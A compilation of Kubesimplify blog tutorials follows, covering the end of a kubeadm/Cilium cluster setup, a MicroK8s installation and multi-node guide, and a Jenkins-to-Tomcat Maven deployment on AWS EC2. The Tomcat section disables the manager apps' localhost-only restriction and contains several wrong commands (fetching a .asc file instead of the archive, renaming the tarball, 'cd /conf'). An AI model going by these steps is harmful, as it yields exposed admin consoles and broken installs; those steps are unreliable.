cilium-operator-5c594d7766-n88bm     1/1     Running   0          13m50s
cilium-vnj4v                         1/1     Running   0          13m50s
coredns-787d4945fb-p64dv             1/1     Running   0          18m41s
coredns-787d4945fb-tklwr             1/1     Running   0          18m41s
etcd-kubemaster                      1/1     Running   0          18m54s
kube-apiserver-kubemaster            1/1     Running   0          18m56s
kube-controller-manager-kubemaster   1/1     Running   0          18m54s
kube-proxy-9km94                     1/1     Running   0          17m55s
kube-proxy-xrfr7                     1/1     Running   0          18m41s
kube-scheduler-kubemaster            1/1     Running   0          18m54s
```

This looks great!!

Let's try and run a test workload on our cluster:

```bash
$ vagrant@kubemaster:~$ k run busybox --image busybox -- sleep 1d
pod/busybox created
$ vagrant@kubemaster:~$ k get po busybox 
NAME      READY   STATUS              RESTARTS   AGE
busybox   0/1     ContainerCreating   0          9s
$ vagrant@kubemaster:~$ k get po busybox 
NAME      READY   STATUS    RESTARTS   AGE
busybox   1/1     Running   0          13s
$ vagrant@kubemaster:~$ k get po busybox -owide
NAME      READY   STATUS    RESTARTS   AGE   IP         NODE         NOMINATED NODE   READINESS GATES
busybox   1/1     Running   0          24s   10.0.1.8   kubenode01   <none>           <none>
```

And, our pod is created successfully and has been scheduled on the `kubenode01` worker node.

Congratulations, we have successfully created a two-node Kubernetes cluster with the help of the kubeadm tool and Containerd as CRI and Cilium as CNI plugin for our learning and development purposes. Now, we can play with this cluster and learn more in-depth about interacting with a production-grade on-premise cluster enabled with advanced eBPF-based networking and observability capabilities — Cilium and `crictl` as a command line tool to interact with the containers on the cluster.

---

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Speeding up using MicroK8s

- Canonical: https://blog.kubesimplify.com/speeding-up-using-microk8s
- Published: 2023-02-21

# What is MicroK8s?

MicroK8s **is a lightweight Kubernetes distribution** that is designed to run on local systems. It is the smallest and fastest multi-node [**Kubernetes**](https://kubernetes.io/). It is **lightweight and easy to set up,** which helps in decreasing the complexity of management, deployment, and scaling of containerized applications, which further helps in the smooth transition to **Kubernetes.** It is available as a snap and runs on Linux, macOS, and Windows using [**multipass**](https://multipass.run/).

MicroK8s is an upstream Kubernetes deployment that is **CNCF-certified** and operates fully on our workstation. It can quickly build up a **single-node cluster** and works well with **local development**, **IoT appliances**, **CI/CD**, and at the **edge** because it employs snap packing, it is also capable of automatic updates, which means that once a new Kubernetes version is available on the main deployment, it will immediately update itself to the most recent version.

![](/img/blog/speeding-up-using-microk8s/cafcc72f-fbe0-44cf-b24b-9688045d68c3.png align="center")

# Benefits of MicroK8s

Apart from being fast, it has various other functionalities to look at before choosing any other distribution.

* **Do not require VM** - MicroK8s was originally intended for Linux and does not require a virtual machine to execute. Instead, it is installed as a snap package.
    
* **Diverse integrations and resources** - MicroK8s is ideal for edge deployments since it doesn't need a virtual machine (VM) and has more resources at its disposal to run applications.
    
* **Isolated Environment** - As MicroK8s is a Zero-ops, pure-upstream Kubernetes,  
    from developer workstations to production it provides an isolated and secure development environment fundamental to the Operating System.
    
* **High-Level addons** - Initially there are various services provided by MicroK8s such as - kube-proxy, kubelet, api-server, and so on. Users can add more services as per their needs, to view the list of all the add-ons [click here](https://microk8s.io/docs/addons).
    
* **High Availability(HA) Support** - In MicroK8s when three or more nodes are clustered, high availability is immediately activated, and the data store automatically switches between nodes to preserve a secret in the case of a failure. When a node is lost, HA MicroK8s can continue to offer reliable services, and lower production needs with a minimum of overhead and important work.
    
* **Lightweight** - As said earlier it does not need to spin a VM containing all the services which might not even be used making the process faster and lighter. MicroK8s initially provides only the required services to run a single-node cluster in your local system using snap and multipass which make it lighter.
    
* **A vast variety of fields** - MicroK8s may be utilized in a variety of technologies, including DevOps, AI/ML, CI/CD, and others. When compared to other options, all of the aforementioned fields require a significant amount of effort to configure, however MicroK8s simplifies the process and provides significant resource savings.
    

# Some valuable Addons

**AFTER INSTALLING AND RUNNING MICROK8S, RUN THE FOLLOWING CODE IN YOUR TERMINAL TO ENABLE ANY ADDON:**

```plaintext
microk8s enable <addon name>
```

The following are the most crucial or often used MicroK8s additions for setting up a production-level environment:

1. [**cert-manager**](https://cert-manager.io/) **\-** Certificate controller for Kubernetes clusters.
    
    ```plaintext
    microk8s enable cert-manager
    ```
    
2. [CoreDNS](https://coredns.io/) - To provide address resolution services to Kubernetes, CoreDNS is deployed. It is advised that you activate this service because other add-ons frequently use it.
    
    ```plaintext
    microk8s enable dns
    ```
    
3. [**dashboard**](https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/) - The default Kubernetes Dashboard.
    
    ```plaintext
    microk8s enable dashboard
    ```
    
4. [ingress](https://docs.nginx.com/nginx-ingress-controller/) - This addon adds an NGINX Ingress Controller for MicroK8s.
    
    ```plaintext
    microk8s enable ingress
    ```
    
5. [**community**](https://github.com/canonical/microk8s-community-addons/tree/main/addons) - This enables the addition of several add-ons created by third parties and the community such as - [**portainer**](https://www.portainer.io/)**,** [**istio**](https://istio.io/latest/)**,** [**argued**](https://argo-cd.readthedocs.io/en/stable/) and so on.
    
    ```plaintext
    microk8s enable community
    ```
    

![](/img/blog/speeding-up-using-microk8s/42e8e038-10f7-4171-a8a4-c18e61a29d4d.png align="center")

# Installation

1. **STEP-1 - Installing MicroK8s:**
    

* **Linux -** In Linux, MicroK8s is installed with the help of snap. Check if your system contains snap or not by running the below-given command:
    
    ```plaintext
    snap version
    ```
    
    It should display these details if present in your system and if you get an error install [snap](https://snapcraft.io/docs/installing-snapd?_ga=2.262517900.1236479193.1676100595-250298134.1675938529) in your local system to install MicroK8s:
    
    ![](/img/blog/speeding-up-using-microk8s/f4831223-0822-400a-a6f2-7882c8be9b2e.png align="center")
    
    If you have snap installed run the below command in your terminal to install MicroK8s in your local system:
    
    ```plaintext
    sudo snap install microk8s --classic
    ```
    
    It should take a while and you should get this output in your terminal:
    
    ![](/img/blog/speeding-up-using-microk8s/76a5ed08-2e1d-4f97-8f45-043ad85dbc33.png align="center")
    
    MicroK8s is successfully installed in your system!!
    
* **macOS -** In macOS, MicorK8s is installed with the help of [Homebrew](https://brew.sh/). If you don't have Homebrew installed do install it in your local system and after that run the below command in your terminal to install MicroK8s:
    
    ```plaintext
    brew install ubuntu/microk8s/microk8s
    ```
    
    This can take a few minutes and at the end of the process it should display:
    
    ![](/img/blog/speeding-up-using-microk8s/fbcd31ea-a48a-4797-b9d3-f3c216e48472.png align="center")
    
    After this execute the below command in your terminal and again this might also take a while:
    
    ```plaintext
    microk8s install
    ```
    
    Wait until you get this displayed on your terminal screen:
    
    ![](/img/blog/speeding-up-using-microk8s/3227d564-1e4e-4289-8fe7-447223b92457.png align="center")
    
* **Windows -** In windows simply run the [MicroK8s Installer](https://microk8s.io/microk8s-installer.exe).
    

1. **STEP-2 - Check the MicroK8s status:**
    
    Run the below command in your terminal to check if MicroK8s is running:
    
    ```plaintext
    microk8s status --wait-ready
    ```
    
    The result on the terminal should be:
    
    ![](/img/blog/speeding-up-using-microk8s/366979ee-0987-4f24-a1ae-630605853ada.png align="center")
    
    That's it MicroK8s is up and running in your local system!!
    

### Kubernetes Dashboard

After completing the installation steps, let's check the node's status by running the below command:

```plaintext
microk8s kubectl get nodes
```

![](/img/blog/speeding-up-using-microk8s/4783a4c1-a657-4df0-9079-104f8e8786d9.png align="center")

I have one default "microk8s-vm" node running. Let's enable some of the important services before creating the dashboard:

```plaintext
microk8s enable dashboard dns
```

![](/img/blog/speeding-up-using-microk8s/f0c3ecfb-9281-4337-acdc-1fce103c3d76.png align="center")

To double-check all the services that are running, enter the below command in your terminal:

```plaintext
microk8s kubectl get all --all-namespaces
```

![](/img/blog/speeding-up-using-microk8s/9fb5e693-bc8a-4964-869a-17cdb7514161.png align="center")

Finally, create the dashboard using:

```plaintext
microk8s dashboard-proxy
```

Visit the link where the dashboard is available and enter the token displayed in your terminal to access the Kubernetes Dashboard.

![](/img/blog/speeding-up-using-microk8s/64f61161-f7d4-4332-aa11-b447ef57c2d0.png align="center")

### Multi-node Setup

After completing the installation steps to run a multi-node cluster, let us first create two VMs using the multipass command:

```plaintext
multipass launch --name <vm-name> --mem 4G --disk 40G
```

In the above command, the "--name" is used to name the VM, the "-mem" flag is used to specify memory, and the "-disk" is used to allocate the disk storage for the VM.

![](/img/blog/speeding-up-using-microk8s/4ed8d07f-429e-4f90-bc3e-73188e93aef7.png align="center")

![](/img/blog/speeding-up-using-microk8s/97285686-4a43-4fce-9bd3-2067c8f36a20.png align="center")

In the above two images, I have launched two VMs named "**Blog**" and **"Blog-end".**

To check the list of nodes running, enter the below command in your terminal:

```plaintext
multipass list
```

![](/img/blog/speeding-up-using-microk8s/362c4948-b9f9-4a96-87a2-da8643f62854.png align="center")

After this, shell into both the VMs using the command:

```plaintext
multipass shell <vm name>
```

![](/img/blog/speeding-up-using-microk8s/853489d9-207f-4a0b-99b7-94f9d236b696.png align="center")

![](/img/blog/speeding-up-using-microk8s/27006178-6aba-4cbf-b368-e070100810de.png align="center")

**Tip: Split your terminal window, which will help you avoid confusion while setting up the multi-node cluster.**

Following that, install MicroK8s on both VMs separately using:

```plaintext
sudo snap install microk8s --classic
```

![](/img/blog/speeding-up-using-microk8s/1bc4d606-858d-4616-ab58-3137ef4b8188.png align="center")

![](/img/blog/speeding-up-using-microk8s/454a7bd4-170d-4c72-98ed-0b53e52f07f0.png align="center")

On completing the installation, run the below command to check the status of MicroK8s:

```plaintext
microk8s status --wait-ready
```

If you get the below error:

![](/img/blog/speeding-up-using-microk8s/f9fe8aa3-e722-42dc-a929-9228ba84dd6f.png align="center")

Check if you have the ".kube" directory in your VM by running:

![](/img/blog/speeding-up-using-microk8s/4218e65e-a435-47a9-81a2-ce05106fe7f4.png align="center")

As we see in the above directory list ".kube" directory is absent so create one with the help of the below command:

```plaintext
mkdir .kube
```

![](/img/blog/speeding-up-using-microk8s/5f3b45e5-96ec-4340-b440-cc72558eda0a.png align="center")

Now the ".kube" directory is created after this just copy and paste the suggested command into the terminal

```plaintext
sudo usermod -a -G microk8s ubuntu
sudo chown -R ubuntu ~/.kube
```

![](/img/blog/speeding-up-using-microk8s/6da0df0a-5168-4242-b58a-45d34bfa7222.png align="center")

![](/img/blog/speeding-up-using-microk8s/a3443fb2-3170-4dfe-bb02-54dc34a6263d.png align="center")

Following the process make a new group of microk8s using the below command:

```plaintext
newgrp microk8s
```

After completing these steps check again if MicroK8s is running or not by using:

```plaintext
microk8s status --wait-ready
```

![](/img/blog/speeding-up-using-microk8s/89483fc8-73a7-4615-a52b-7c384edf2a10.png align="center")

![](/img/blog/speeding-up-using-microk8s/0df921ed-bf09-4acd-9687-94d5c7de4b73.png align="center")

As we see, Microk8s is running in both VMs.

To add the node to this cluster, we have to run the following command in the VM we want to end the node to:

```plaintext
microk8s add-node
```

After getting the output of the form:

![](/img/blog/speeding-up-using-microk8s/8bc8e174-c9ef-4c29-a1c6-a99f35668a6f.png align="center")

Copy and paste "microk8s join....." as per your choice in the second VM and it will be added to the initial VM completing the multi-node setup.

For example, here I ran "microk8s add-node" in Blog VM where I wanted the multi-node setup and copied the below-given command in the output of the terminal. Pasted the command in the Blog-end VM to connect it with the initial VM.

![](/img/blog/speeding-up-using-microk8s/180733dd-b714-4381-8882-6699cff3f1c2.png align="center")

If you get the above error it is because your initial node is not able to recognize the IP address of the node to be added. To resolve this error you have to manually add the IP address of the second node to the initial node by pasting the IP address followed by the node name in the "/etc/hosts" of your initial VM.

In my example, the IP address of my Blog-end VM is **192.168.64.28**  
So I will just add the below line in the "/etc/hosts" file of my Blog VM:

> 192.168.64.28 Blog-end

Get a new microk8s join link by again running "microk8s add-node" in the initial VM and paste it into the VM whose node is to be added.

![](/img/blog/speeding-up-using-microk8s/1d6d1687-d7f1-466a-94c6-6ddba296806a.png align="center")

And finally, check the number of nodes by running:

```plaintext
microk8s kubectl get nodes
```

![](/img/blog/speeding-up-using-microk8s/02fcaf0e-b0cd-4dda-8cb2-7fff4bc6bfed.png align="center")

# Resources

* [**MicroK8s**](https://microk8s.io/)
    
* [**Video Explanation**](https://www.youtube.com/watch?v=wN6FlmPy2qA&t=1092s)
    

# **Conclusion**

In this article, we learned about MicroK8s. There you are at the end of this blog post, I hope this blog helps you understand the use of MicroK8s. Don't forget to like and share this post if you liked this blog. Connect with me on [**Twitter**](https://twitter.com/SuperAayush14) and [**LinkedIn**](https://www.linkedin.com/in/superaayush/). Follow me for more such blogs.

**THANKS FOR READING 😄📖!!**

**#LEARNINPUBLIC** **#LEARNWHILEDOING**

[**Aayush Sharma 👨🏻‍💻**](https://superaayush.github.io/Portfolio/)

Follow Kubesimplify on [**Hashnode**](https://kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify)**,** and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our [**Discord**](https://blog.kubesimplify.com/kubesimplify.com/discord) server to learn with us.

---

# Deploy a Maven Project on a Tomcat Server Using Jenkins and AWS

- Canonical: https://blog.kubesimplify.com/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws
- Published: 2023-02-19
- Summary: Deploy a Maven Project on a Tomcat Server Using Jenkins and AWS

In this blog, we are going to create a simple job that will deploy a Maven project on a tomcat server built on an EC2 instance through Jenkins.

The steps that will be followed for this project are:

1. Create a security group for Jenkins.
    
2. Set up Jenkins on AWS EC2 instance.
    
3. Connect to Jenkins instance using SSH.
    
4. Install Jenkins on the EC2 instance.
    
5. Manage some Jenkins plugins
    
6. Create a security group for Tomcat.
    
7. Set up Tomcat on AWS EC2 instance.
    
8. Connect to Tomcat instance using SSH.
    
9. Install Tomcat on the EC2 instance.
    
10. Create a job for deployment
    

![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/231e2345-1298-41c5-9623-869536aea80b.png align="center")

<mark>NOTE</mark>: For setting up your AWS account, if you are using it for the first time, you can check out this video [https://youtu.be/FRQ9fE4fd5g](https://youtu.be/FRQ9fE4fd5g)

### Security Group for Jenkins

* Go to your [AWS Console](https://aws.amazon.com/free/?trk=09863622-0e2a-4080-9bba-12d378e294ba&sc_channel=ps&s_kwcid=AL!4422!3!453325184878!e!!g!!aws%20console&ef_id=Cj0KCQiAofieBhDXARIsAHTTldqlZvAK1aj-hlXzCN7Ue3nXRtZqPw73fcYXUhuZFxisksqbYlEVV9YaAkJUEALw_wcB:G:s&s_kwcid=AL!4422!3!453325184878!e!!g!!aws%20console&all-free-tier.sort-by=item.additionalFields.SortRank&all-free-tier.sort-order=asc&awsf.Free%20Tier%20Types=*all&awsf.Free%20Tier%20Categories=*all) and sign in as an IAM user.
    
* I am choosing the region, ap-south-1 i.e the Mumbai region, which is present in the top right corner of the console, left to your account name.
    
* You can select from any of them mentioned.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/e2f97918-e04c-4b81-b72c-7ecdf9e76f0e.png align="left")
    
* Search for the service EC2 from the search bar.
    
* From the left toggle bar, search for “Security Groups”
    
* Create a Security Group and name it “Jenkins-Security-Group”
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/4ac53407-0328-4f8e-b154-cbc0c6029e79.png align="center")
    
* Let's add some Inbound rules
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/a3b6fcdf-a8de-4b8a-90f1-2bcc88208d31.png align="center")
    
    1. **First rule**: To allow SSH to your EC2 instance, you need to provide this rule by giving your IP i.e., “My IP” so that only you will be allowed to SSH.
        
    2. **Second Rule**: Next is Custom TCP with Port No. 8080 because our Jenkins server will run on this port.
        
    3. **Third Rule: The l**ast one is HTTP with port 80, to give general access to the Internet
        
* Now go ahead and click on create.
    

### Jenkins Server

* Search for the service EC2 from the search bar.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/0144917d-5449-4028-a534-417bacb609f9.png align="center")
    
* Click on 'Instances' from the toggle bar at the left.
    
* Now let's launch an instance by clicking on '<mark>Launch instances</mark>'
    
* Now, enter some details for your instance, name it 'Jenkins-Server'
    
* I am opting for Amazon Linux AMI here, you can use Ubuntu, macOS, Windows etc.
    
* **AMI**: An Amazon Machine Image (AMI) is a supported and maintained image provided by AWS that provides the information required to launch an instance.
    
* Make sure that the AMI you are opting for, lies in the free tier
    
* Choose the size of the instance t3. micro or anything that lies in the free tier.
    
* Let's create a key pair for your instance, naming it `Jenkins-Key` and downloading.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/be4bccfc-fa70-46d3-a199-eed989ebcd44.png align="center")
    
* Choose ".pem", if you are going to use SSH to connect to your instance, or ".ppk" if you are using putty.
    
* In network settings, select an “Existing Security Group”, which we just created “Jenkins-Security-Group” and then launch the instance.
    
* Wait for the Status Check to complete.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/cc8213db-d3af-413b-a996-893855549138.png align="center")
    

### Connect to the Jenkins Server using SSH

* Click on “Connect” and select the “SSH Client” option.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/c811951c-ad46-4f79-8ecc-33576fd7476a.png align="center")
    
* Move to the directory, where you have your downloaded key pair. Mine is in the downloads.
    
* Copy the third command and enter it in your terminal to ensure all permissions.
    
* And then, enter the command given under the example.
    
* Note: Make sure to enter the following command with a sudo prefix, if you haven't done `sudo su -` at the beginning.
    
    ```c
    sudo ssh -i "Jenkins-Key.pem" ec2-user@ec2-15-207-19-201.ap-south-1.compute.amazonaws.com
    ```
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/ba062a69-0b85-4a1a-8dc3-4c9314f89948.png align="center")
    
* Congratulations, you have connected to the instance🎉
    

### Install Jenkins on your Instance

* We are using `sudo` as a prefix with every command, you can also do `sudo -su` in the beginning to avoid that.
    
* Enter the command, for a quick update of all the software packages on your instance
    
    ```c
    sudo yum update –y
    ```
    
* Add the Jenkins repo
    
    ```c
    sudo wget -O /etc/yum.repos.d/jenkins.repo \
        https://pkg.jenkins.io/redhat-stable/jenkins.repo
    ```
    
* Import a key file from Jenkins-CI to enable installation from the package:
    
    ```c
    sudo rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key
    
    sudo yum upgrade
    ```
    
* Follow these commands
    
    ```c
    # install java
    sudo amazon-linux-extras install java-openjdk11 -y
    # install Jenkins
    sudo yum install jenkins -y
    # enable the Jenkins service to start at boot:
    sudo systemctl enable jenkins
    ```
    
* Start Jenkins as a service
    
    ```c
    sudo systemctl start jenkins
    ```
    
* Check the status
    
    ```c
    sudo systemctl status jenkins
    ```
    

![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/8a17a84b-d5bf-4636-878f-a47be9e97b62.png align="center")

* Now copy the public IP address of the Jenkins instance, which is present in the details of the instance
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/7b5e28e8-6bdf-4ec7-a255-56f87cbaf13d.png align="center")
    
* Enter this IP address with the port number, i.e., "<mark>&lt;ip_address:port_number&gt;</mark>"
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/a5b1d3f0-6035-4d97-9359-1fde911d76aa.png align="center")
    
* Now, get the password by entering the following command and enter it in the text box
    
    ```c
    sudo cat /var/lib/jenkins/secrets/initialAdminPassword
    ```
    
* Click on install the suggested plugins
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/5e440859-4bf1-48b1-8792-682c303d1d42.png align="center")
    
* Go ahead and enter your username and stuff as asked
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/3fd7d8ac-f9bb-4dc1-9334-c0d33b5e6be2.png align="center")
    
* You are ready to use Jenkins🎉
    
* <mark>NOTE:</mark> Some extra installations
    
    1\. Install git
    
    ```c
    sudo yum install git -y
    ```
    

2\. Install maven

```c
sudo wget https://repos.fedorapeople.org/repos/dchen/apache-maven/epel-apache-maven.repo -O /etc/yum.repos.d/epel-apache-maven.repo

sudo sed -i s/\$releasever/6/g /etc/yum.repos.d/epel-apache-maven.repo

sudo yum install -y apache-maven

# check the installation
mvn --version
```

### Manage some Plugins in Jenkins

* Since we are deploying a maven project, go ahead and select “Manage Jenkins” from the left and then “Manage Plugins”.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/be2f57ba-6f81-4bcd-b385-059171cbae35.png align="center")
    
* Search for “maven” in the “available plugins” section and “install without restart”.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/5f90e425-1a89-4fcc-be7b-a202a3987343.png align="center")
    
* Install another plugin names “Deploy To container” for deployment
    
* This plugin allows you to deploy a war to a container after a successful build.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/52ceb372-a7c8-4461-a8b3-d2f656881095.png align="center")
    
* Next, go to Manage Jenkins&gt;Global Tool configuration&gt;Maven and opt for automatic installation
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/2605a731-010b-4a08-8fb4-8284b7eb986a.png align="center")
    

### Security Group for Tomcat

* Follow the same steps, as followed in creating a security group for Jenkins, with some minor changes.
    
* Give the name “Tomcat-Security-Group” to the security group.
    
* One inbound rule has to be changed
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/2b6b9538-2a6c-4278-a383-10884b957dc4.png align="center")
    
* We will use port no. 8090 for accessing it on the browser.
    
* And then “Create”🚀
    

### Tomcat Server

* Now let's launch an instance by clicking on '<mark>Launch instances</mark>'
    
* Enter the name “Tomcat-Server”
    
* Choose the Amazon Linux AMI.
    
* Select the size of the instance t3. micro or anything that lies in the free tier.
    
* Let's create a key pair for your instance, naming it 'Tomcat-Key' and download it.
    
* Choose “Tomcat-Security-Group”
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/448c9343-aa9b-4943-846c-b6d2aa85bcc7.png align="center")
    
* And “Launch” it 🎉
    

### Connect to the Tomcat Server using SSH

* Connect to it through SSH, following the same steps as followed in the Jenkins server by clicking on “Connect”.
    
* Here we can see both instances are running!
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/e2cd9d46-bd87-4697-b165-00c9ecbba5d5.png align="center")
    

### Install Tomcat on your Instance

* Go to [https://tomcat.apache.org/download-80.cgi](https://tomcat.apache.org/download-80.cgi) and copy the tar.gz file link.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/3e774026-480a-4b03-99f2-af802487ad06.png align="center")
    
* Move to the opt directory and download the tomcat package
    
    ```c
    cd /opt
    
    sudo wget https://downloads.apache.org/tomcat/tomcat-8/v8.5.85/bin/apache-tomcat-8.5.85.tar.gz.asc
    ```
    

![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/009ea706-33cd-4d39-bc43-d3d8b0207bc1.png align="center")

* Do `ls` in the opt directory to see the file, you will see the following file
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/a0013614-02da-4469-a242-debea95be43d.png align="center")
    
* Now we have to unzip and untar the package with a single command, i.e.
    
    ```c
    sudo tar -xvzf apache-tomcat-8.5.85.tar.gz
    ```
    
* Let's just rename the file as tomcat, so it will be easy for us to access it
    
    ```c
    sudo mv apache-tomcat-8.5.85.tar.gz tomcat
    ```
    
* Move into the file "apache-tomcat-8.5.85.tar.gz" and do `ls`
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/a17f8f20-a25c-4692-aa9d-34ce7cf8554b.png align="center")
    
* Now move to the bin folder
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/b16e1cd1-fb5a-4924-8a83-2adf599d6fa3.png align="center")
    
* Now the “startup.sh” is used for starting the tomcat server and “shutdown.sh” for shutting down.
    
    ```c
    ./startup.sh
    ```
    
* ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/b946e3f1-9d21-4d3e-83cd-d6b879c60a8f.png align="center")
    
* By default, tomcat will run on port 8080, we have to change it to 8090 by
    
    ```c
    cd /conf
    
    vi server.xml
    ```
    

![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/6b17d584-e078-4c3a-81eb-491ac8adcab4.png align="center")

* Change the connector port to “8090”
    
* Shut down the server by “./shutdown.sh” and then start again.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/1510e292-5f35-4401-8edc-b772879bdf9a.png align="center")
    
* Also, let's add some users to tomcat with different roles
    
* Do cd /conf and edit tomcat-users.xml
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/1d9e7b29-4473-43f8-b8e2-b7184a489e06.png align="center")
    
* Next thing is, we have to find the context.xml for solving this error when we click on manage App
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/3b60c0ac-baf5-4851-822f-dc6fdfad38a1.png align="center")
    
* This error comes because tomcat only allows access from the local system, but we want to access from outside as well
    
    ```c
    find / -name context.xml
    ```
    

![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/cf788a66-7a28-411f-9a56-53e59cdfa86a.png align="center")

* We will consider files that are under webapps.
    
* We have to comment out the valve command as it only allows access from local systems.
    
* Do the following with the last two files
    
    ```c
    vi /opt/apache-tomcat-8.5.85/webapps/host-manager/META-INF/context.xml
    
    vi /opt/apache-tomcat-8.5.85/webapps/manager/META-INF/context.xml
    ```
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/19bd9cd6-0ee1-4399-9363-d64868234f37.png align="center")
    

### Add tomcat credentials to Jenkins

* Go to Manage Jenkins&gt;Manage Credentials
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/bb72372f-a11d-462f-91bd-ff266637db36.png align="center")
    
* Click on “global Credentials” and then “Add Credentials”
    
* Remember, we added a user with a role in tomcat
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/fe5ca8ca-cf8f-4d56-abcf-614b2e58e95e.png align="center")
    
* Add the username and password as given and then create.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/0c7dea8e-f963-4784-92c3-596d613cf8c8.png align="center")
    

### Create a Job for deploying the Maven Project

* Click on “create a job”.
    
* Here is the [GitHub Link](https://github.com/Kanika637/maven-project) to the project we are using
    
* Fork the repo
    
* Enter a name for the project/job and select “maven project”
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/721d8072-b645-47d6-acee-9a4941691d05.png align="center")
    
* In the Source Code Management, choose git and enter the repository URL, by clicking on code
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/cf2ec99a-a44e-43eb-b831-a18ae491c459.png align="center")
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/09bf6e71-4fbf-4266-bbd1-6f590b340fed.png align="center")
    
* Since all the code is in the master branch in the given project, we will use the master branch.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/4186f7d7-9bff-4663-8336-21f672e17402.png align="center")
    
* Under the build section, we usually give these three options, i.e., "clean install package” with the pom.xml file already present there.
    
* **pom.xml** → It is an XML file that **contains information about the project and configuration details used by Maven to build the project**.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/0340969f-18dc-4bf4-9b1e-7c4d11170c39.png align="center")
    
* Now choose the option “Deploy war/ear to a container”
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/4e22cb38-9ce9-41ef-a98a-976205c24271.png align="center")
    
* Next, we have to specify the path of the war file, or we can just write “\*\*/\*.war” so that Jenkins will find the file having the type “.war” in that particular workspace.
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/8978e4d9-0c98-44f9-bb9a-10839cb1719e.png align="center")
    
* Now in the container section, choose tomcat with its latest version i.e., tomcat 9
    
* Also, choose the credentials from the dropdown that we just created, i.e., deployer
    
* Next, copy the URL of the tomcat server, on which you can access it from the browser
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/6062d8b6-fbfe-46d2-a83b-d8ea12b2b71d.png align="center")
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/0894dfe8-7e01-488c-9b56-14138443ba5f.png align="center")
    
* Now save and click on “Build Now”
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/6ffe6686-86ef-4568-8a12-0199470be27d.png align="center")
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/7b11fe81-d55e-49ad-9108-629e7a654267.png align="center")
    
* Yay! 🚀 that's a SUCCESS!
    
* This is where your war file will be copied, i.e., in the webapps directory
    
    ![](/img/blog/deploy-a-maven-project-on-a-tomcat-server-using-jenkins-and-aws/9150aa98-236c-4b2b-8489-b1878d63e53d.png align="center")
    
* Now we can access our app on the browser by adding "/webapp" in the URL
    
